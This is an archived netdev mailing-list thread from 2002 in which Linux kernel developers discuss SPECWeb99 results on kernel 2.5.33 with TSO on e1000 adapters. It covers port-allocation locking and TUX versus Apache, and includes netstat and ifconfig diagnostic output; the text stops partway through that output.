Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting "David S. Miller" : > There are methods to eliminate the centrality of the > port allocation locking. > > Basically, kill tcp_portalloc_lock and make the port rover be > per-cpu. Aha! Exactly what I started to do quite a while ago.. > The only tricky case is the "out of ports" situation. Because > there is no centralized locking being used to serialize port > allocation, it is difficult to be sure that the port space is truly > exhausted. I decided to use a stupid global flag to signal this..It did become messy and I didnt finalize everything. Then my day job intervened :). Still hoping for spare time*5 to complete this if none comes up with something before then.. > Another idea, which doesn't eliminate the tcp_portalloc_lock but > has other good SMP properties, is to apply a "cpu salt" to the > port rover value. For example, shift the local cpu number into > the upper parts of a 'u16', then 'xor' that with tcp_port_rover. nice..any patch extant? :) thanks, Nivedita From Martin.Bligh@us.ibm.com Fri Sep 6 12:42:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:42:58 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JgttG015240 for ; Fri, 6 Sep 2002 12:42:55 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86Jl1EG156632; Fri, 6 Sep 2002 15:47:02 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86JkwWq051194; Fri, 6 Sep 2002 13:46:59 -0600 Date: Fri, 06 Sep 2002 12:45:39 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: Nivedita Singhvi , Andi Kleen cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <65179883.1031316338@[10.10.2.3]> In-Reply-To: <1031339954.3d78ffb257d22@imap.linux.ibm.com> References: <1031339954.3d78ffb257d22@imap.linux.ibm.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 129 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > Tthere is some cacheline thrashing hurting the NUMA > more than other systems here too.. There is no NUMA here ... the clients are 4 single node SMP systems. We're using the old quads to make them, but they're all split up, not linked together into one system. Sorry if we didn't make that clear. M. From gerrit@us.ibm.com Fri Sep 6 12:48:49 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:48:50 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JmmtG015610 for ; Fri, 6 Sep 2002 12:48:49 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86JqsEG182492; Fri, 6 Sep 2002 15:52:55 -0400 Received: from w-gerrit2 (dyn9-47-17-91.beaverton.ibm.com [9.47.17.91]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86JqrWq087134; Fri, 6 Sep 2002 13:52:53 -0600 Received: from w-gerrit2 ([127.0.0.1] helo=us.ibm.com ident=gerrit) by w-gerrit2 with esmtp (Exim 3.35 #1 (Debian)) id 17nP9R-000453-00; Fri, 06 Sep 2002 12:52:21 -0700 To: "David S. Miller" cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Reply-To: Gerrit Huizenga From: Gerrit Huizenga Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-reply-to: Your message of Fri, 06 Sep 2002 11:58:04 PDT. <20020906.115804.109349169.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <15685.1031341935.1@us.ibm.com> Date: Fri, 06 Sep 2002 12:52:15 -0700 Message-Id: X-archive-position: 130 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gh@us.ibm.com Precedence: bulk X-list: netdev In message <20020906.115804.109349169.davem@redhat.com>, > : "David S. Miller" writes: > From: Gerrit Huizenga > Date: Fri, 06 Sep 2002 11:57:39 -0700 > > Out of curiosity, and primarily for my own edification, what kind > of optimization does it do when everything is generated by a java/ > perl/python/homebrew script and pasted together by something which > consults a content manager. In a few of the cases that I know of, > there isn't really any static content to cache... And why is this > something that Apache couldn't/shouldn't be doing? > > The kernel exec's the CGI process from the TUX server and pipes the > output directly into a networking socket. > > Because it is cheaper to create a new fresh user thread from within > the kernel (ie. we don't have to fork() apache and thus dup it's > address space), it is faster. So if apache were using a listen()/clone()/accept()/exec() combo rather than a full listen()/fork()/exec() model it would see most of the same benefits? Some additional overhead for the user/kernel syscall path but probably pretty minor, right? Or did I miss a piece of data, like the time to call clone() as a function from in kernel is 2x or 10x more than the same syscall? gerrit From davem@redhat.com Fri Sep 6 12:52:40 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 12:52:42 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86JqetG015991 for ; Fri, 6 Sep 2002 12:52:40 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA15408; Fri, 6 Sep 2002 12:49:36 -0700 Date: Fri, 06 Sep 2002 12:49:36 -0700 (PDT) Message-Id: <20020906.124936.34476547.davem@redhat.com> To: gh@us.ibm.com Cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020906.115804.109349169.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 131 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Gerrit Huizenga Date: Fri, 06 Sep 2002 12:52:15 -0700 So if apache were using a listen()/clone()/accept()/exec() combo rather than a full listen()/fork()/exec() model it would see most of the same benefits? Apache would need to do some more, such as do something about cpu affinity and do the non-blocking VFS tricks Tux does too. To be honest, I'm not going to sit here all day long and explain how Tux works. I'm not even too knowledgable about the precise details of it's implementation. Besides, the code is freely available and not too complex, so you can go have a look for yourself :-) From gerrit@us.ibm.com Fri Sep 6 13:00:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 13:00:21 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86K0HtG016435 for ; Fri, 6 Sep 2002 13:00:18 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86K4NEG037384; Fri, 6 Sep 2002 16:04:24 -0400 Received: from w-gerrit2 (dyn9-47-17-91.beaverton.ibm.com [9.47.17.91]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86K4MWq215762; Fri, 6 Sep 2002 14:04:23 -0600 Received: from w-gerrit2 ([127.0.0.1] helo=us.ibm.com ident=gerrit) by w-gerrit2 with esmtp (Exim 3.35 #1 (Debian)) id 17nPKV-00046g-00; Fri, 06 Sep 2002 13:03:47 -0700 To: "David S. Miller" cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Reply-To: Gerrit Huizenga From: Gerrit Huizenga Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-reply-to: Your message of Fri, 06 Sep 2002 12:49:36 PDT. <20020906.124936.34476547.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <15786.1031342622.1@us.ibm.com> Date: Fri, 06 Sep 2002 13:03:42 -0700 Message-Id: X-archive-position: 132 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gh@us.ibm.com Precedence: bulk X-list: netdev In message <20020906.124936.34476547.davem@redhat.com>, > : "David S. Miller" w rites: > From: Gerrit Huizenga > Date: Fri, 06 Sep 2002 12:52:15 -0700 > > So if apache were using a listen()/clone()/accept()/exec() combo rather than a > full listen()/fork()/exec() model it would see most of the same benefits? > > Apache would need to do some more, such as do something about > cpu affinity and do the non-blocking VFS tricks Tux does too. > > To be honest, I'm not going to sit here all day long and explain how > Tux works. I'm not even too knowledgable about the precise details of > it's implementation. Besides, the code is freely available and not > too complex, so you can go have a look for yourself :-) Aw, and you are such a good tutor, too. :-) But thanks - my particular goal isn't to fix apache since there is already a group of folks working on that, but as we look at kernel traces, this should give us a good idea if we are at the bottleneck of the apache architecture or if we have other kernel bottlenecks. At the moment, the latter seems to be true, and I think we have some good data from Troy and Dave to validate that. I think we have already seen the affinity problem or at least talked about it as that was somewhat visible and Apache 2.0 does seem to have some solutions for helping with that. And when the kernel does the best it can with Apache's architecture, we have more data to convince them to fix the architecture problems. thanks again! gerrit From photography@themail.com Fri Sep 6 13:03:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 13:03:50 -0700 (PDT) Received: from mailc0910.dte2k.de (mail.t-intra.de [62.156.147.75]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86K3ftG016807 for ; Fri, 6 Sep 2002 13:03:42 -0700 Received: from mailc0906.dte2k.de ([10.50.185.6]) by mailc0910.dte2k.de with Microsoft SMTPSVC(5.0.2195.5329); Fri, 6 Sep 2002 22:06:03 +0200 Received: from mars ([217.235.106.11]) by mailc0906.dte2k.de with Microsoft SMTPSVC(5.0.2195.5329); Fri, 6 Sep 2002 22:06:02 +0200 To: netdev@oss.sgi.com From: "Irmingard Anna" Date: Fri, 06 Sep 2002 22:06:38 Subject: New York Remembrance 911 Message-ID: X-OriginalArrivalTime: 06 Sep 2002 20:06:02.0826 (UTC) FILETIME=[D3717AA0:01C255E0] X-archive-position: 133 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: photography@themail.com Precedence: bulk X-list: netdev REMEMBER NEW YORK 911 http://beam.to/remembrance911 If compelled leave a sign in my guestbook. Irmingard Anna From alan@lxorguk.ukuu.org.uk Fri Sep 6 13:23:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 13:24:03 -0700 (PDT) Received: from irongate.swansea.linux.org.uk (pc1-cwma1-5-cust128.swa.cable.ntl.com [80.5.120.128]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86KNutG017499 for ; Fri, 6 Sep 2002 13:23:57 -0700 Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1]) by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g86KTS30011603; Fri, 6 Sep 2002 21:29:28 +0100 Received: (from alan@localhost) by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g86KTPXH011601; Fri, 6 Sep 2002 21:29:25 +0100 X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: Alan Cox To: "Martin J. Bligh" Cc: "David S. Miller" , gh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com In-Reply-To: <61930391.1031313088@[10.10.2.3]> References: <20020906.113611.102227888.davem@redhat.com> <61930391.1031313088@[10.10.2.3]> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) Date: 06 Sep 2002 21:29:25 +0100 Message-Id: <1031344165.10612.79.camel@irongate.swansea.linux.org.uk> Mime-Version: 1.0 X-archive-position: 134 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@lxorguk.ukuu.org.uk Precedence: bulk X-list: netdev On Fri, 2002-09-06 at 19:51, Martin J. Bligh wrote: > The secondary point is "what are customers doing in the field?" > (not what *should* they be doing ;-)). Moreover, I think the > Apache + Tux combination has been fairly well beaten on already > by other people in the past, though I'm sure it could be done > again. Tux has been proven in the field. A glance at some of the interesting porn domain names using it would show that 8) From tcw@tempest.prismnet.com Fri Sep 6 16:44:30 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 16:44:36 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86NiUtG021219 for ; Fri, 6 Sep 2002 16:44:30 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g86Nmewf016826; Fri, 6 Sep 2002 18:48:41 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g86NmdId016825; Fri, 6 Sep 2002 18:48:39 -0500 (CDT) From: Troy Wilson Message-Id: <200209062348.g86NmdId016825@tempest.prismnet.com> Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <18563262.1031269721@[10.10.2.3]> "from Martin J. Bligh at Sep 5, 2002 11:48:42 pm" To: "Martin J. Bligh" Date: Fri, 6 Sep 2002 18:48:39 -0500 (CDT) CC: "David S. Miller" , hadi@cyberus.ca, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 135 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev > > It's the DMA bandwidth saved, most of the specweb runs on x86 hardware > > is limited by the DMA throughput of the PCI host controller. In > > particular some controllers are limited to smaller DMA bursts to > > work around hardware bugs. > > I'm not sure that's entirely true in this case - the Netfinity > 8500R is slightly unusual in that it has 3 or 4 PCI buses, and > there's 4 - 8 gigabit ethernet cards in this beast spread around > different buses (Troy - are we still just using 4? My machine is not exactly an 8500r. It's an Intel pre-release engineering sample (8-way 900MHz PIII) box that is similar to an 8500r... there are some differences when going across the choerency filter (the bus that ties the two 4-way "halves" of the machine together). Bill Hartner has a test program that illustrates the differences-- but more on that later. I've got 4 PCI busses, two 33 MHz, and two 66MHz, all 64-bit. I'm configured as follows: PCI Bus 0 eth1 --- 3 clients 33 MHz eth2 --- Not in use PCI Bus 1 eth3 --- 2 clients 33 MHz eth4 --- Not in use PCI Bus 3 eth5 --- 6 clients 66 MHz eth6 --- Not in use PCI Bus 4 eth7 --- 6 clients 66 MHz eth8 --- Not in use > ... and what's > the raw bandwidth of data we're pushing? ... it's not huge). 2900 simultaneous connections, each at ~320 kbps translates to 928000 kbps, which is slightly less than the full bandwidth of a single e1000. We're spreading that over 4 adapters, and 4 busses. - Troy From tcw@tempest.prismnet.com Fri Sep 6 16:51:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 16:51:55 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86NprtG021616 for ; Fri, 6 Sep 2002 16:51:53 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g86Nu5wf016945; Fri, 6 Sep 2002 18:56:05 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g86Nu4Gk016944; Fri, 6 Sep 2002 18:56:04 -0500 (CDT) From: Troy Wilson Message-Id: <200209062356.g86Nu4Gk016944@tempest.prismnet.com> Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: "from jamal at Sep 5, 2002 04:59:47 pm" To: jamal Date: Fri, 6 Sep 2002 18:56:04 -0500 (CDT) CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 136 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev > Do you have any stats from the hardware that could show > retransmits etc; ********************************** * netstat -s before the workload * ********************************** Ip: 433 total packets received 0 forwarded 0 incoming packets discarded 409 incoming packets delivered 239 requests sent out Icmp: 24 ICMP messages received 0 input ICMP message failed. ICMP input histogram: destination unreachable: 24 24 ICMP messages sent 0 ICMP messages failed ICMP output histogram: destination unreachable: 24 Tcp: 0 active connections openings 2 passive connection openings 0 failed connection attempts 0 connection resets received 2 connections established 300 segments received 183 segments send out 0 segments retransmited 0 bad segments received. 2 resets sent Udp: 8 packets received 24 packets to unknown port received. 0 packet receive errors 32 packets sent TcpExt: ArpFilter: 0 5 delayed acks sent 4 packets directly queued to recvmsg prequeue. 35 packets header predicted TCPPureAcks: 5 TCPHPAcks: 160 TCPRenoRecovery: 0 TCPSackRecovery: 0 TCPSACKReneging: 0 TCPFACKReorder: 0 TCPSACKReorder: 0 TCPRenoReorder: 0 TCPTSReorder: 0 TCPFullUndo: 0 TCPPartialUndo: 0 TCPDSACKUndo: 0 TCPLossUndo: 0 TCPLoss: 0 TCPLostRetransmit: 0 TCPRenoFailures: 0 TCPSackFailures: 0 TCPLossFailures: 0 TCPFastRetrans: 0 TCPForwardRetrans: 0 TCPSlowStartRetrans: 0 TCPTimeouts: 0 TCPRenoRecoveryFail: 0 TCPSackRecoveryFail: 0 TCPSchedulerFailed: 0 TCPRcvCollapsed: 0 TCPDSACKOldSent: 0 TCPDSACKOfoSent: 0 TCPDSACKRecv: 0 TCPDSACKOfoRecv: 0 TCPAbortOnSyn: 0 TCPAbortOnData: 0 TCPAbortOnClose: 0 TCPAbortOnMemory: 0 TCPAbortOnTimeout: 0 TCPAbortOnLinger: 0 TCPAbortFailed: 0 TCPMemoryPressures: 0 ********************************* * netstat -s after the workload * ********************************* Ip: 425317106 total packets received 3648 forwarded 0 incoming packets discarded 425313332 incoming packets delivered 203629600 requests sent out Icmp: 58 ICMP messages received 12 input ICMP message failed. ICMP input histogram: destination unreachable: 58 58 ICMP messages sent 0 ICMP messages failed ICMP output histogram: destination unreachable: 58 Tcp: 64 active connections openings 16690445 passive connection openings 56552 failed connection attempts 0 connection resets received 3 connections established 425311551 segments received 203629500 segments send out 4241408 segments retransmited 0 bad segments received. 298883 resets sent Udp: 8 packets received 34 packets to unknown port received. 0 packet receive errors 42 packets sent TcpExt: ArpFilter: 0 8884840 TCP sockets finished time wait in fast timer 12913162 delayed acks sent 17292 delayed acks further delayed because of locked socket Quick ack mode was activated 102351 times 54977 times the listen queue of a socket overflowed 54977 SYNs to LISTEN sockets ignored 157 packets directly queued to recvmsg prequeue. 51 packets directly received from prequeue 16925947 packets header predicted 51 packets header predicted and directly queued to user TCPPureAcks: 169071816 TCPHPAcks: 176510836 TCPRenoRecovery: 30090 TCPSackRecovery: 0 TCPSACKReneging: 0 TCPFACKReorder: 0 TCPSACKReorder: 0 TCPRenoReorder: 464 TCPTSReorder: 5 TCPFullUndo: 6 TCPPartialUndo: 29 TCPDSACKUndo: 0 TCPLossUndo: 1 TCPLoss: 0 TCPLostRetransmit: 0 TCPRenoFailures: 218884 TCPSackFailures: 0 TCPLossFailures: 35561 TCPFastRetrans: 145529 TCPForwardRetrans: 0 TCPSlowStartRetrans: 3463096 TCPTimeouts: 373473 TCPRenoRecoveryFail: 1221 TCPSackRecoveryFail: 0 TCPSchedulerFailed: 0 TCPRcvCollapsed: 0 TCPDSACKOldSent: 0 TCPDSACKOfoSent: 0 TCPDSACKRecv: 1 TCPDSACKOfoRecv: 0 TCPAbortOnSyn: 0 TCPAbortOnData: 0 TCPAbortOnClose: 0 TCPAbortOnMemory: 0 TCPAbortOnTimeout: 0 TCPAbortOnLinger: 0 TCPAbortFailed: 0 TCPMemoryPressures: 0 From davem@redhat.com Fri Sep 6 16:55:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 16:55:50 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86NtltG022015 for ; Fri, 6 Sep 2002 16:55:48 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA16501; Fri, 6 Sep 2002 16:52:44 -0700 Date: Fri, 06 Sep 2002 16:52:44 -0700 (PDT) Message-Id: <20020906.165244.03972708.davem@redhat.com> To: tcw@tempest.prismnet.com Cc: hadi@cyberus.ca, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <200209062356.g86Nu4Gk016944@tempest.prismnet.com> References: <200209062356.g86Nu4Gk016944@tempest.prismnet.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 137 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Troy Wilson Date: Fri, 6 Sep 2002 18:56:04 -0500 (CDT) 4241408 segments retransmited Is hw flow control being negotiated and enabled properly on the gigabit interfaces? There should be no reason for these kinds of retransmits to happen. From tcw@tempest.prismnet.com Fri Sep 6 17:01:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 17:01:21 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8701ItG022437 for ; Fri, 6 Sep 2002 17:01:18 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g8705Twf017051; Fri, 6 Sep 2002 19:05:30 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g8705TYN017050; Fri, 6 Sep 2002 19:05:29 -0500 (CDT) From: Troy Wilson Message-Id: <200209070005.g8705TYN017050@tempest.prismnet.com> Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <1031283490.3d7823228d9ed@imap.linux.ibm.com> "from Nivedita Singhvi at Sep 5, 2002 08:38:10 pm" To: Nivedita Singhvi Date: Fri, 6 Sep 2002 19:05:29 -0500 (CDT) CC: jamal , linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 138 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev > ifconfig -a and netstat -rn would also be nice to have.. These counters may have wrapped over the course of the full-length ( 3 x 20 minute runs + 20 minute warmup + rampup + rampdown) SPECWeb run. ******************************* * ifconfig -a before workload * ******************************* eth0 Link encap:Ethernet HWaddr 00:04:AC:23:5E:99 inet addr:9.3.192.209 Bcast:9.3.192.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:208 errors:0 dropped:0 overruns:0 frame:0 TX packets:104 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:22562 (22.0 Kb) TX bytes:14356 (14.0 Kb) Interrupt:50 Base address:0x2000 Memory:fe180000-fe180038 eth1 Link encap:Ethernet HWaddr 00:02:B3:9C:F5:9E inet addr:192.168.4.1 Bcast:192.168.4.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:5940 (5.8 Kb) TX bytes:256 (256.0 b) Interrupt:61 Base address:0x1200 Memory:fc020000-0 eth2 Link encap:Ethernet HWaddr 00:02:B3:A8:35:C1 inet addr:192.168.2.1 Bcast:192.168.2.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:54 Base address:0x1220 Memory:fc060000-0 eth3 Link encap:Ethernet HWaddr 00:02:B3:A3:47:E7 inet addr:192.168.3.1 Bcast:192.168.3.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:44 Base address:0x2040 Memory:fe120000-0 eth4 Link encap:Ethernet HWaddr 00:02:B3:A3:46:F9 inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:784 (784.0 b) TX bytes:256 (256.0 b) Interrupt:36 Base address:0x2060 Memory:fe160000-0 eth5 Link encap:Ethernet HWaddr 00:02:B3:A3:47:88 inet addr:192.168.5.1 Bcast:192.168.5.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:32 Base address:0x3000 Memory:fe420000-0 eth6 Link encap:Ethernet HWaddr 00:02:B3:9C:F5:A0 inet addr:192.168.6.1 Bcast:192.168.6.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:64 (64.0 b) TX bytes:256 (256.0 b) Interrupt:28 Base address:0x3020 Memory:fe460000-0 eth7 Link encap:Ethernet HWaddr 00:02:B3:A3:47:39 inet addr:192.168.7.1 Bcast:192.168.7.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:24 Base address:0x4000 Memory:fe820000-0 eth8 Link encap:Ethernet HWaddr 00:02:B3:A3:47:87 inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:20 Base address:0x4020 Memory:fe860000-0 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:56 errors:0 dropped:0 overruns:0 frame:0 TX packets:56 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5100 (4.9 Kb) TX bytes:5100 (4.9 Kb) ****************************** * ifconfig -a after workload * ****************************** eth0 Link encap:Ethernet HWaddr 00:04:AC:23:5E:99 inet addr:9.3.192.209 Bcast:9.3.192.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:3434 errors:0 dropped:0 overruns:0 frame:0 TX packets:1408 errors:0 